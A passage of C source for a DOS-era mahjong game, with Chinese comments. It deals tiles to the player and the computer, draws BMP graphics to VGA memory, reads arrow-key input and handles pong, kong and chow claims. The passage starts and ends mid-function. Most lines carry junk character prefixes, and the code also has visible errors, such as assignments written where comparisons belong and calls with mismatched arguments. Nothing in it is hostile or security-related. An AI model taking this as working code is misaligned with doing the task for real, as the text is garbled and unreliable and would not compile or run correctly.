8 t6 |- h$ ^6 T3 N8 dkl=kl+2;
3 v3 I+ t" |6 g+ Jif(kl==11)
+ t& l8 A; \0 B  p' Xbreak;
8 S2 u; g% O# a/ K' k& q}
4 w. y" }9 v6 D8 K" ^test[ill++]=pi[kl];
}
' ?1 F# J3 [: s6 Z7 _$ S/ ?* Xisthree(test,ii-2);
, q' E' W! D, K}
}
2 _2 \! q7 C2 Z- t! S: W9 pelse if(ii=12)
isthree(pi,ii);
else if(ii=14)
) j, u) ~: P7 t, _9 V5 ofor(i=0;i&lt;13;i++)
{
. u* F4 e2 S* ^for(j=0;j&lt;2;j++)
{test[j]=pi[i+j];
0 Q% U# v* `7 Z2 m6 J' X}
4 Z& ^& i6 @) j& Q% `' [if(istwo(test))
{ ill=0;
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
{if(kl==i)
2 ~& W" e% Z; Z. n) @, T' J{
kl=kl+2;
if(kl==14)
break;
2 ?( M: z# ]: F}
3 ]/ M+ r* i3 S: I. }test[ill++]=pi[kl];
$ [8 L- f" s6 Q  u' _}
isthree(test,ii-2);
( }7 f0 W; l" P+ G& S}
}
) b' S/ f! ~( t; W" Q& [& `if(ff==2)
istwo(pf);
else if(ff==3)
isthree(pf,ff);
9 c. Z6 j. G& q5 }else if(ff==5)
8 ?$ m4 \9 e% U3 g  ?/*pf[5]原始牌数组，假设已经升序排列*/
/*test[3]用来放置测试牌的数组*/
for(i=0;i&lt;4;i++)
+ y$ f9 K8 E: j! [{
. Z0 d/ D$ X, j+ {for(j=0;j&lt;2;j++)
* T5 m5 }2 g9 u8 |4 Y, }  U4 T{test[j]=pf[i+j];
}
7 S+ Q% J5 Y: H# t0 Oif(istwo(test))
: e0 n6 r+ L8 j{ ill=0;
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
2 H$ M% X2 A2 N; w9 H{if(kl==i)
{
kl=kl+2;
if(kl==5)
break;
+ g# \- a% S* @" _' o. A( q. w9 n: h+ w, C}
4 c& C" u7 N7 N' w6 u1 z& |# ytest[ill++]=pf[kl];
  W3 x% c% r8 k; y& t9 F}
isthree(test);
+ U% D; n+ M# B! o9 W}
}
else if(ff==6)
isthree(pf,ff);
else if(ff==8)
for(i=0;i&lt;7;i++)
{
for(j=0;j&lt;2;j++)
7 l; c# f8 u- ^{test[j]=pf[i+j];
* p. T' A5 d/ @! {}
if(istwo(test))
{ ill=0;
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
8 y6 ?' B2 e. Y0 ]1 c5 K{if(kl==i)
{
kl=kl+2;
: ~3 t3 @! ]# {if(kl==8)
* ^5 m7 I- X( b) K) E! lbreak;
3 J! w& W6 S" B8 ~8 ~}
test[ill++]=pf[kl];
}
isthree(test,ff-2);
6 t( T8 k2 z5 B6 g# h1 d5 G}
}
else if(ff==9)
isthree(pw,ww);
3 i" W4 o- |' R* Eelse if(ff==11)
& A& Q1 M4 e, O; \! tfor(i=0;i&lt;10;i++)
4 T7 a& N8 L1 h{
for(j=0;j&lt;2;j++)
& j( i! x( t; o+ v. ~; \. Y* @{test[j]=pf[i+j];
}
if(istwo(test))
{ ill=0;
1 w. s6 K" e0 @for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
: ~/ F* S* N9 p  h. J. l{if(kl==i)
/ i" Q  @/ o$ O0 r+ l- I& o{
2 d# U) L, x" [! c, h6 d& I9 F8 u! x5 u. ckl=kl+2;
  x8 l+ |+ u: c" b; a- O$ l  cif(kl==11)
break;
}
test[ill++]=pf[kl];
}
isthree(test,ff-2);
* q! A. t3 ?' D8 h( R% ~}
}
3 [: p2 a2 w0 Ielse if(ff=12)
  a+ \7 S  x* N  c+ j1 Y/ qisthree(pf,ff);
else if(ff=14)
# w, {( u( x( R) ^; `, \) H: Cfor(i=0;i&lt;13;i++)
{
% @/ R( A. M: @" e( p% A1 B1 ~for(j=0;j&lt;2;j++)
7 }& Z# g7 H/ M{test[j]=pf[i+j];
4 L8 [1 }4 v# \5 o* I3 v5 S}
if(istwo(test))
+ l5 `$ ^) J  l% S{ ill=0;
& F: b& Z& x) k( x2 Lfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
{if(kl==i)
4 G0 R% b* H" E{
kl=kl+2;
0 k% V* L6 D' L9 ^$ p5 kif(kl==14)
( G2 _& R: ]3 r9 H% C% {8 P* |break;
! y$ v( n9 z$ O4 S* y* F}
& }2 L' L; T) L9 Qtest[ill++]=pf[kl];
2 B4 m# e6 o; f}
+ O: w9 w0 h' misthree(test,ff-2);
}
}
7 j, b5 o" `) r  Q}
void main(void)
& Y6 E  M. X& e{
FILE *bmp;
5 K3 M2 |  I/ k$ J9 c7 {$ I1 Dstatic char *name[2]={"ff.bmp","logo.bmp"};
char *p;
int *lingshi;
0 A1 y- z+ ~/ {* Y/ O/ H/ C( N* S% cint x,y,i,j,t=2,cont=13,temp,n=0,onetothirteen=13,oneorthirteen=13,l=0,ll=0,kk,u;
int every=0,w=0,x1,x2,y1,y2,every1=0;
; b+ [# _8 ?; `0 M3 Tint logo,lg,lgg,logoo,b=0,c=0,pg=0,h,h1,g=0,kkk,kkkk,r=0,d,o=0,dwei=0,dweig=0,dw[3],nn;
' _5 F* ~* N4 k& a$ R/ Y! a" eBYTE palette[256][3];
8 ]/ b1 F6 j. I8 f: DSETVGA;
! u- u8 e9 X/ u+ y$ igetch();
while(t--)
{
bmp=fopen(name[t],"rb");
  i7 m4 V  S4 Q- o" G* Z7 ~fseek(bmp,54,SEEK_SET);
8 s2 T: k6 p4 \# t4 Y" ~for(i=0;i&lt;256;i++)
{
# B$ I6 f$ P* E6 Dpalette[2]=fgetc(bmp)&gt;&gt;2;
palette[1]=fgetc(bmp)&gt;&gt;2;
1 @. h, a( g* I( j/ `: n& A6 n6 Kpalette[0]=fgetc(bmp)&gt;&gt;2;
fgetc(bmp);
Set_Palette(i,palette[0],palette[1],palette[2]);
/ ]8 t4 \! D+ G5 S. o}
  C9 v9 f+ l" G; T% n- i; nfor (y=0;y&lt;200;y++)
for(x=0;x&lt;320;x++)
pokeb(0xa000,y*320+x,fgetc(bmp));
fclose(bmp);
getch();
: X+ n) r6 Y! R' |* w! H}
# d" I9 K$ @9 g; T! ]# p- F7 ugetch();
fillRectangle(0,0,320,200,0);
getch();
$ s6 z" s3 [% ?+ x. H9 _* Brandomize();
! C( Z3 {) B( a! rme.m=onetothirteen;
while(me.m&gt;0) /*先循环，给自己拿牌*/
9 v8 d8 y% ]8 C  ?2 b{

7 s/ x3 ~# Z+ o6 i& |! B8 m4 K; etemp=random(136);
4 o: y+ b% ]" ^" @if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
{
me.pp[n].k=m[temp].name; /*把136中之一的牌放到我的手上*/
  r4 X) }$ {( |4 ume.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
me.pp[n].number=temp; /*第几张，用来排序*/
m[temp].data2=1; /*判断牌是谁的*/
kk=1;
}
if(kk==0) /*判断如果又选择了，就从新再选*/
. Q6 k( \9 u7 |1 V; B& x( B{
! ~4 F" I$ f+ ]9 ^& d4 Sme.m++;
( S, y4 k) e5 Kn--;
' `- t, ?4 n/ Q  q8 P3 d}
/ S3 r9 a9 o4 y6 U; J" K8 y  l& Jme.m--;
n++;
2 b2 q+ `7 A9 Mkk=0;
9 U5 Y+ {2 [+ F$ ?; `}
/ a9 h0 `5 R# `$ c* Y0 Bme.m=12;
melipai(); /*理牌*/

+ Q9 l6 y( ^$ H/ b- K! sn=13;
while(l&lt;n)
! K: T& c1 s9 D- y# `; k- m1 ~7 C1 n{
z=z+20;
showbmp(l);
5 v- d4 c1 t$ g" Wl++;
+ G1 d8 h9 @) _5 J+ c* E! S
7 g3 a7 e2 |; |; ]; h}
0 \0 A; ]0 s# F$ Mrandomize();
computer.m=oneorthirteen;
2 L6 q0 K  c6 b0 M+ h5 ]" K) Gn=0;
while(computer.m&gt;0) /*循环，给对方拿牌*/
* g% N6 n3 w4 I: t{
5 g" b& H/ `& b2 |/ x. Mtemp=random(136);
& [6 H2 ]( O$ h* ?& c) U, d3 lif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
{
5 l8 Q6 e7 H3 z; Fcomputer.pp[n].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/
" r6 C) ]: ]5 X( a& o$ l. n/ wcomputer.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
  \, S: d2 ?9 E; V. scomputer.pp[n].number=temp; /*第几张，用来排序*/
m[temp].data2=2; /*判断牌是谁的，2为电脑*/
  }! e$ `+ k& o2 w7 R( Fkk=1;
! ?. ~7 q# v2 i; N" m}
$ v( w! d  q' F- V& i5 O9 `! dif(kk==0) /*判断如果又选择了，就从新再选*/
{
computer.m++;
1 \; a* G. t: A* qn--;
" D, I$ _6 M3 ]+ A! B5 a}
2 |! I4 C' T' F4 lcomputer.m--;
n++;
3 W0 F. g- l  y! V% rkk=0;
}
computer.m=12;
comlipai(); /*电脑理牌*/
$ K" s4 {  ?# i. g* y+ {  R: En=13;
$ U0 j% Q  z% t" v) n8 O1 Q6 Awhile(ll&lt;n)
, h" l2 \6 C# a{
zy=zy+20;
showybmp(ll);
ll++;
}
; f- v* Q' A* M6 _2 Z
z=54400;
" U/ P* M$ C" v0 m0 @while(key!=ESC)
9 D6 `! t! V; P9 U: X+ v{

: d$ J& O4 ~9 [" l: Y4 xkeyy=bioskey(0);
if(keyy==LEFT)
{ w=1;
if(every==0)
  C. s4 d' `/ ?+ W" g( s{
/ ]* x! _- o; Aevery=1;
z=54440-5*320;
8 C9 A% r) R9 F
/ d4 b# l; C' n5 t% Q1 f}
zz=zz+5*320;
showbmp(every);
1 X7 I3 o) ?/ \5 g2 j9 i1 ~if(every==0)
{
! t9 v3 w" v3 s' o  Qx1=20;
8 M/ ~  ~5 _4 c, l4 @! Z" \y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
- _, {. D/ m5 O3 L}
6 ^. W- X7 N" kif(every==1)
# S8 U4 Z7 {3 `& K{
x1=40;
y1=165;
0 o+ J- Q0 g. c8 B4 mfillRectangle(x1,y1,x1+20,y1+4,0);
# K' l, A7 u1 v3 C+ O) O( S9 F}
, r7 U/ h5 `' w; H! Dif(every==2)
# A+ m0 T7 O1 R0 L9 m, B! l{
% R" d6 n" @9 ~0 D' S4 i; gx1=60;
* H& G% @" v. Z7 E- S$ `$ dy1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==3)
{
x1=80;
y1=165;
( {9 I+ ~6 a& E9 @' ~+ a# v. t+ `* QfillRectangle(x1,y1,x1+20,y1+4,0);
}
/ S, q2 i1 a! v! F, t0 ?+ aif(every==4)
/ b4 N3 m: T& e- ^3 G{
( I8 z- A( [4 O$ b8 r6 Mx1=100;
y1=165;
* v6 b9 T1 y( @3 h% _0 Q1 W9 X* i' sfillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==5)
{
2 L& _% H* N% ]7 M3 K5 O! t1 dx1=120;
5 [4 a* x( L# V7 A0 f/ wy1=165;
6 z% Q- |4 ^( @' H0 e0 \/ P) {5 \/ q/ YfillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==6)
7 }+ P* S9 w/ `! a' M9 I0 v- r{
( Z3 s( t5 a& E6 H2 J: g! b+ Jx1=140;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
1 r# U2 R( p( W9 K% q* e) z}
& ]4 J4 [7 @. ^' O' e, e/ B2 Qif(every==7)
{
6 K! d2 V( p( y1 ]0 fx1=160;
y1=165;
" d: ~5 H# C0 g! y0 {$ F& ^1 SfillRectangle(x1,y1,x1+20,y1+4,0);
9 B3 R6 b+ f3 h; w. X: B. [) N" e}
% E9 ~3 b' U3 |1 o% }' {9 h, aif(every==8)
{
: N. O& U' F3 ox1=180;
y1=165;
" Q: L2 ~; ^! t/ U: N8 d% d& afillRectangle(x1,y1,x1+20,y1+4,0);
}
9 u5 e0 }* @, c  Z& B& v8 m( Nif(every==9)
{
$ J+ Q/ ]1 }; E% x4 ix1=200;
3 N3 s* g) M' r7 gy1=165;
9 F) J5 f0 u. L  r% `- r' lfillRectangle(x1,y1,x1+20,y1+4,0);
}
4 m! o" W8 Q7 o! O7 H8 }5 ]if(every==10)
0 R/ ?! ]3 H: r+ z- B% F5 _{
x1=220;
6 F7 G4 |3 g! `1 B: z; X1 I9 @4 `+ gy1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==11)
{
( R' |6 T! p  D, d8 V' h% |" {x1=240;
; I7 v% x3 }( ?" C% vy1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
; d8 @& v1 _" H7 }if(every==12)
! T5 ~3 ~; F) O{
4 a; ?8 Z/ v$ _$ @4 U7 W8 E# {! C: Ox1=260;
. o/ I7 W3 Y+ G. G$ R' F8 wy1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
zz=0;
every--;
z=z-20;
* P" K* J# i' L+ R4 Z}
if(keyy==RIGHT)
{ if(w==0)
0 ]3 P+ E7 k: u6 c) R2 k' k" r9 s{
z=54440-5*320;
z=z-20;
5 Y" p2 f' p/ k" j$ D2 U! yw=1;
/ s# X8 T" ^! ^; ]5 i) a8 F}
if(every==12)
{
# e. p7 ^! U! r" s) m/ Zevery=11;
z=54640-5*320;
, K' P2 K: V( ^' s8 v" u) B}
zz=zz+5*320;
showbmp(every);
if(every==0)
2 F/ r# E$ e* i1 q! x{
3 c+ ~! Z: l- `' `& J, U$ M% Ox1=20;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
0 F! E- F# Q3 ~! h}
if(every==1)
9 q: ^+ }3 f$ X9 x$ R8 b{
( A- S- F8 y& v% yx1=40;
1 V2 J! y; _2 C0 ^8 @y1=165;
6 ~9 l2 u3 \( L) I. S9 e% hfillRectangle(x1,y1,x1+20,y1+4,0);
}
9 x4 r$ X+ d' y3 W( @! Hif(every==2)
{
x1=60;
0 ]2 Q0 A. A& H, D1 ey1=165;
& `2 C$ d6 z7 G! D2 F! LfillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==3)
{
- L. [; H2 Y6 }% ~4 [3 ?x1=80;
$ ?' H2 `5 c1 f9 qy1=165;
- W& _2 `& N5 |" d& N2 q8 a- \8 FfillRectangle(x1,y1,x1+20,y1+4,0);
}
8 X& P9 W2 f8 D5 \! oif(every==4)
" \. Y) j. T5 T8 i% w! [8 a{
0 E) n3 I) E$ l& f1 }x1=100;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
5 b9 G' G. N& P$ Y. i}
( S1 B" E, e( H5 ^! _5 mif(every==5)
{
x1=120;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==6)
% o. U) N* N/ i4 h: I{
x1=140;
& s, \$ N- ~( s# H9 jy1=165;
- l1 W' @. c4 ~4 i7 efillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==7)
+ R; k! l% L2 n6 k; t5 w( r, Y* _7 |9 n{
x1=160;
+ q0 ^# K* |" m2 E$ f7 xy1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
; N8 C4 @9 r5 f+ C}
# c7 D" f! s; J; n2 Iif(every==8)
{
x1=180;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==9)
5 \8 r8 ]/ f1 L# L{
/ N9 ^$ G; M% u* p" p% Ix1=200;
y1=165;
9 J" n6 {3 j3 j* j: |8 rfillRectangle(x1,y1,x1+20,y1+4,0);
- }- V7 y9 j; w0 D: W2 Q}
if(every==10)
{
x1=220;
* m* `. ?2 |2 R2 O3 [- Uy1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
% ~! J7 O( s) D% M5 R- c}
$ u' d+ e9 Y) H& \4 c, Iif(every==11)
& h7 r$ d! j7 O7 G{
7 K1 _" C4 G" A1 x4 h. b' K& Y, sx1=240;
6 @2 t+ s1 z* D& l; oy1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
4 Z, h1 U# m3 A2 @4 X+ k}
+ M% k% [' q5 B* dif(every==12)
0 u; ?) R4 \" m; C: z6 I8 o! D# j1 z5 X{
x1=260;
y1=165;
5 Y5 Q9 M0 s( W# CfillRectangle(x1,y1,x1+20,y1+4,0);
# B1 T5 y2 c7 |) f7 x5 p}
' |) f1 ]! x) c" v7 @
; e* Q7 ~( l2 y4 P/ A3 ^5 D0 ~6 azz=0;
every++;
2 U3 U' C- o3 E* O& k6 \7 uz=z+20;
5 K1 o9 M6 |2 ~}
8 M, b" }; B9 {. `- mshowbmp(every);
key=keyy;
if(keyy==ENTER)
8 y1 `5 `8 q2 V8 a& h{
rgzn(every); /*********************/
# H2 E( M! U1 k7 X8 g8 Nif(sing==1) /*如果可以乓，做相应的处理*/
+ c9 I/ a. F  U{
kkk=0;
$ N; w1 N0 K5 Zkkkk=0;
! i7 |/ d1 h9 C8 [* Swhile(kkk&lt;=computer.m)
4 p/ K" X4 ?+ Z: f{
if(computer.pp[kkk].p!=1)
{
comp.pp[kkkk].k=computer.pp[kkk].k;
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
- P  O; J" T' {7 y% Y& ?# ^comp.pp[kkkk].number=computer.pp[kkk].number;
kkkk++;
9 A7 i, R& w9 W}
5 D9 P: e% [. h+ G- O. \else
- j9 m+ u" z% ^4 s{
7 }1 g- i* v! Um[computer.pp[kkk].number].data1=1;
! X5 x# P- R! tdwei=computer.pp[kkk].number;
computer.pp[kkk].p=0;
$ q( ^9 A2 ^/ T, O% m+ h% ?; U}
kkk++;
. d9 H# D( _" I0 a5 T' @5 y  `1 d4 ~}
3 r. s6 s% B( i" X5 gll=0;
# o" d* V" w  H
3 ]4 O) M7 v0 ^while(ll&lt;3)
. y& p2 ~) |$ I4 V7 I{ zl=zl+20;
& t; ?4 N, a- f  s* [bmpp(dwei); /*显示乓的牌*/
ll++;
- s4 k8 h& H# F  z+ V& d# @5 |3 B}
$ W  O1 x6 L1 v
: I/ @. ]' {- b1 P- dzl=zl+9600-60;
kkk=0;
6 \( a8 }% z3 {# q6 Fcomputer.m=computer.m-2;
while(kkk&lt;=computer.m)
8 j6 |1 b" \5 @9 e; P{
0 m  w$ Z7 J3 ?: G* m( l: scomputer.pp[kkk].k=comp.pp[kkk].k;
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
computer.pp[kkk].number=comp.pp[kkk].number;
kkk++;
}
5 Y( C: u2 a: A8 _, L4 \/ Sll=0;
temp=random(computer.m); /*出牌等待完善*/
5 Z3 G! b: h3 Nzyy=zyy+9280+20;
3 |% l* {; J) j7 G7 E; ~9 Oshowcbmp(temp);
: X9 _; c6 s  R: c, X- jzyy=zyy-9280;
/*****/
$ c+ N4 Y( K$ Brgznme(temp);
8 V  I( q' G6 ipanduan();
if(me.m==0)
6 }# D; H% p; n+ p; K' A) |- ^if(second==1 &amp;&amp; threes==0)
printf("you win!");
if(me.m==3)
  g7 L' z9 B6 u" T; y& ?if(second==1 &amp;&amp; threes==1)
printf("you win!");
if(me.m==6)
6 q" j5 I; Q9 r) s' k* aif(second==1 &amp;&amp; threes==2)
printf("you win!");
if(me.m==9)
if(second==1 &amp;&amp; threes==3)
9 R. z& _8 b% ^" N3 c+ nprintf("you win!");
if(me.m==12)
# [( K# J% N# I) F3 oif(second==1 &amp;&amp; threes==4)
printf("you win!");

kkk=0;
kkkk=0;
+ J6 k3 V  q, |! R  b0 }" ewhile(kkk&lt;=computer.m)
/ ?% M/ l/ z! E+ Y. |4 H- `2 X{
" q. [; U# e( T* g( bif(kkk!=temp)
; [- h* p* C/ G8 Q{
comp.pp[kkkk].k=computer.pp[kkk].k;
; V/ L' a& x" t/ t# @8 I1 a8 ?( Dcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
comp.pp[kkkk].number=computer.pp[kkk].number;
; ]( b3 d5 Y/ j- v' ^kkkk++;
}
8 D& v6 \1 }& d* v" N% Y: F' G& |else
8 s& W# u$ {" w+ y) Wm[computer.pp[kkk].number].data1=1;
kkk++;
}
kkk=0;
computer.m=computer.m-1;
2 N/ ]7 u. l0 N$ \( g. Ewhile(kkk&lt;=computer.m)
{
computer.pp[kkk].k=comp.pp[kkk].k;
- N/ m5 c. L9 r5 F5 B2 u  V7 }computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
computer.pp[kkk].number=comp.pp[kkk].number;
kkk++;
}
" V! L5 B$ Z) C$ h. z$ VfillRectangle(0,0,320,30,0);
n=computer.m;
/ g3 g: h0 h$ u# Z# |+ cll=0;
zy=0;
while(ll&lt;=n)
{
zy=zy+20;
showybmp(ll);
4 q# ?! o3 k/ L, B2 k% O6 Xll++;
$ M& A$ w, t. x7 s}
" A$ U9 p5 k8 ]7 p) @ll=0;
getch();
sing=0;
sing1=1;
- x* N1 p$ ]5 f! X' n% Q# {}
) e( T% x7 O7 o- ^/ v, x
/ M( R4 y2 d$ ^6 f5 f! y, ?" Fif(sing==2) /*如果可以杠的做相应处理*/
) N# u3 y) t$ Z- U{
kkk=0;
0 S8 a; \: \5 `6 zkkkk=0;
while(kkk&lt;=computer.m)
{
if(computer.pp[kkk].g!=1)
, H6 |4 H) I' N{
comp.pp[kkkk].k=computer.pp[kkk].k;
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
comp.pp[kkkk].number=computer.pp[kkk].number;
0 i! R3 [' n$ W3 e* S8 P: Ykkkk++;
}
- f3 _5 C7 Q$ u- |3 [else
4 ^  `1 L% w0 G7 _. Y{
m[computer.pp[kkk].number].data1=1;
) D& U2 p+ n2 U" C( l& sdweig=computer.pp[kkk].number;
computer.pp[kkk].g=0;
" z9 R9 E1 U& M1 a/ k  T  O0 `: ~}
5 G, J7 R$ p9 u9 p9 h6 g7 b! x$ ^kkk++;
$ A  f3 D) p# C5 F# b  z}
ll=0;

while(ll&lt;=3)
{ zl=zl+20;
bmpp(dweig); /*显示杠的牌*/
ll++;
}
zl=zl+9600-60;
kkk=0;
* T. s0 [: d* N( V6 rcomputer.m=computer.m-3;
while(kkk&lt;=computer.m)
{
8 d' v( s$ `3 o- ^) \/ M, zcomputer.pp[kkk].k=comp.pp[kkk].k;
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
( m1 H5 A' B$ T& wcomputer.pp[kkk].number=comp.pp[kkk].number;
' h( X% N5 H. u5 _/ M4 K4 {kkk++;
}
* |$ g! Q5 l1 L  n) I' \kk=0;
+ a; ]7 f, M' u7 W+ i+ q6 G, ycomputer.m++; /*加一个牌的容量*/
" F/ Y: ^  ]: ^  B) ]- Q, r* }while(kk!=1)
$ s% v- C7 [) g2 ?* E& `" x{
& r6 H* b8 |1 \' Q$ }! r- Mtemp=random(136); /*出牌*/
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
{
# w5 b; w, a/ @* A9 ]6 U* y1 Ucomputer.pp[computer.m].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/
! @  v' E0 D( D: ^computer.pp[computer.m].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
: r! b2 g" S, C4 B1 P/ T5 ucomputer.pp[computer.m].number=temp; /*第几张，用来排序*/
  d+ R9 h; D0 O& h( I+ u8 K) P! k- Am[temp].data2=2; /*判断牌是谁的，2为电脑*/
# W0 I, \7 ?6 @% Tkk=1;
}
}
comlipai();
- Z3 Q; o7 \3 Qtemp=random(computer.m); /*出牌，等待完善*/
zyy=zyy+9280+20;
5 r) t3 ~" o; J7 w  `5 \  tshowcbmp(temp);
zyy=zyy-9280;
/*****/
rgznme(temp);
& }$ S1 B# N5 w* h. W3 v! @panduan();
if(me.m==0)
) p, j. V6 K/ m9 P3 v, o  Tif(second==1 &amp;&amp; threes==0)
% \* h7 n. ?( R- j/ N3 v; bprintf("you win!");
if(me.m==3)
/ q9 t* y3 U8 I, @  B. fif(second==1 &amp;&amp; threes==1)
printf("you win!");
if(me.m==6)
if(second==1 &amp;&amp; threes==2)
; i; ]! z9 D: R8 \2 ~3 }7 L) Yprintf("you win!");
if(me.m==9)
if(second==1 &amp;&amp; threes==3)
printf("you win!");
' T' x1 y$ M! t! V. }% a# h8 Aif(me.m==12)
' y6 [& {9 O7 N1 W4 B; o/ uif(second==1 &amp;&amp; threes==4)
; R+ O' T+ A) C) S" Sprintf("you win!");

kkk=0;
! E; }8 K, }) \kkkk=0;
9 j$ b4 Y" \. \* C. I& d+ T- A3 _! swhile(kkk&lt;=computer.m) /*把未选的牌放到零时变量*/
( W" L4 [; `& D* i5 i/ \7 X2 }, l{
) m1 F2 [' C5 pif(kkk!=temp)
{
+ \+ e' L4 `- u  x7 icomp.pp[kkkk].k=computer.pp[kkk].k;
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
( m% \4 R+ |/ q& u5 O3 C/ U5 Vcomp.pp[kkkk].number=computer.pp[kkk].number;
kkkk++;
! s+ i8 b6 h; R" A# Q* g}
else
m[computer.pp[kkk].number].data1=1;
kkk++;
$ Y% F, b# Z- x( y3 B" Y/ m9 h}
kkk=0;
computer.m=computer.m-1; /*把未选到的剩余牌放入电脑手中*/
while(kkk&lt;=computer.m)
8 t9 t2 y0 W7 z9 f{
) y; K$ a5 K- _. n; I% tcomputer.pp[kkk].k=comp.pp[kkk].k;
  s5 M' M, H" I. I, Z0 Zcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
% ^# X  {" w4 ecomputer.pp[kkk].number=comp.pp[kkk].number;
5 m& f- _% X) R1 R1 X3 D7 f" Z9 h4 Vkkk++;
( o# |6 u# [( Y3 ^1 A}
fillRectangle(0,0,320,30,0);
: i7 e) q. b( E+ @2 p0 D6 yll=0;
zy=0;
while(ll&lt;=computer.m)
6 u% h& K/ K2 a5 s* o  y/ }/ ?( G{
2 E) Q. J9 F  N9 Tzy=zy+20;
" D0 c& O2 p! u4 g6 Pshowybmp(ll);
/ O6 b9 _: c( w+ Qll++;
}
, {! m+ @& M* A3 O2 J- Bsing=0;
sing1=1;
/ \6 j$ w2 s  G8 U; {1 A}
if(sing==7) /*如果可以吃的，做相应处理*/
" v% @; O1 C) |$ \6 T% h+ k{ nn=0;
kkk=0;
( ^% R: Q$ z7 Z# m6 ]' m- Z% ykkkk=0;
; G' [: G8 s" ]while(kkk&lt;=computer.m)
1 o: @3 W; a9 B. j{
if(computer.pp[kkk].c!=1)
) G9 ^, W5 a$ [{
comp.pp[kkkk].k=computer.pp[kkk].k;
1 D. E, T, ~" J( [/ scomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
, o9 [' G  e# a" U; L1 wcomp.pp[kkkk].number=computer.pp[kkk].number;
$ `# W% n* V- \7 @6 r4 ekkkk++;
! p* W4 t% p( V. _2 ~+ \}
. x9 r4 y) ]/ I  w0 o2 S( I: K: H5 {! E% Helse
{
$ _% m( x6 T1 om[computer.pp[kkk].number].data1=1;
dw[nn++]=computer.pp[kkk].number;
' P$ @% L7 J4 C) u+ scomputer.pp[kkk].c=0;
}
kkk++;
}
& [7 {# K7 G; R6 P$ ^
if(me.pp[every].number&lt;dw[0])
{
dw[2]=dw[1];
. Z1 Y/ j  p* b- b& N% p" odw[1]=dw[0];
dw[0]=me.pp[every].number;
}
if(me.pp[every].number&gt;dw[1])
2 V' W- ]: _: X{
+ \4 h% _- N* m8 v, q0 y) bdw[2]=me.pp[every].number;
}
+ B( [/ J9 W+ N2 Y, r5 Zif(me.pp[every].number&gt;dw[0] &amp;&amp; me.pp[every].number&lt;dw[1])
{
dw[2]=dw[1];
* C3 b/ C6 c& a; F% I+ J- m- V6 Xdw[1]=me.pp[every].number;
}
nn=0;
while(nn&lt;3)
{ zl=zl+20;
bmpp(dw[nn]); /*显示吃的牌*/
nn++;
}
zl=zl+9600-60;
" Z9 _' t* H: Q; [6 B; Tkkk=0;
- ~' N- U# ~) Lcomputer.m=computer.m-2;
while(kkk&lt;=computer.m)
{
computer.pp[kkk].k=comp.pp[kkk].k;
, }8 ]1 D- [5 ]% xcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
1 z* D4 b. I4 x7 y+ I6 Bcomputer.pp[kkk].number=comp.pp[kkk].number;
1 D1 u: Q; H* ekkk++;
}
4 z$ k5 x7 A" dll=0;
temp=random(computer.m); /*出牌等待完善*/
zyy=zyy+9280+20;
showcbmp(temp);
zyy=zyy-9280;
5 n" c8 S) z  C+ H, M2 ~3 W/*****/
rgznme(temp);
panduan();
. j4 K2 P4 E4 |/ E! L" Hif(me.m==0)
if(second==1 &amp;&amp; threes==0)
+ d$ X" x+ @, q9 V2 M+ xprintf("you win!");
/ q! q5 X' |5 Iif(me.m==3)
if(second==1 &amp;&amp; threes==1)
printf("you win!");
if(me.m==6)
9 W5 j. l5 |4 M* Yif(second==1 &amp;&amp; threes==2)
; t% ^0 ]. L% E( pprintf("you win!");
: p4 P/ J2 Z) Rif(me.m==9)
6 V4 j" u- I) S( D8 L2 }6 ~2 I# _  {if(second==1 &amp;&amp; threes==3)
printf("you win!");
9 p. `' w/ d6 E- w2 Y9 C' y5 o. a: dif(me.m==12)
if(second==1 &amp;&amp; threes==4)
5 x; ]1 d! x* Eprintf("you win!");

kkk=0;
kkkk=0;
while(kkk&lt;=computer.m)
{
if(kkk!=temp)
6 ?, i$ _+ b0 {# ^" y  w# [* ^: |/ k- Y{
* K; F4 ?5 X0 d; @+ ?1 Z0 tcomp.pp[kkkk].k=computer.pp[kkk].k;
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
. a: e. Y- D7 Ccomp.pp[kkkk].number=computer.pp[kkk].number;
kkkk++;
( b5 E2 [- B, z}
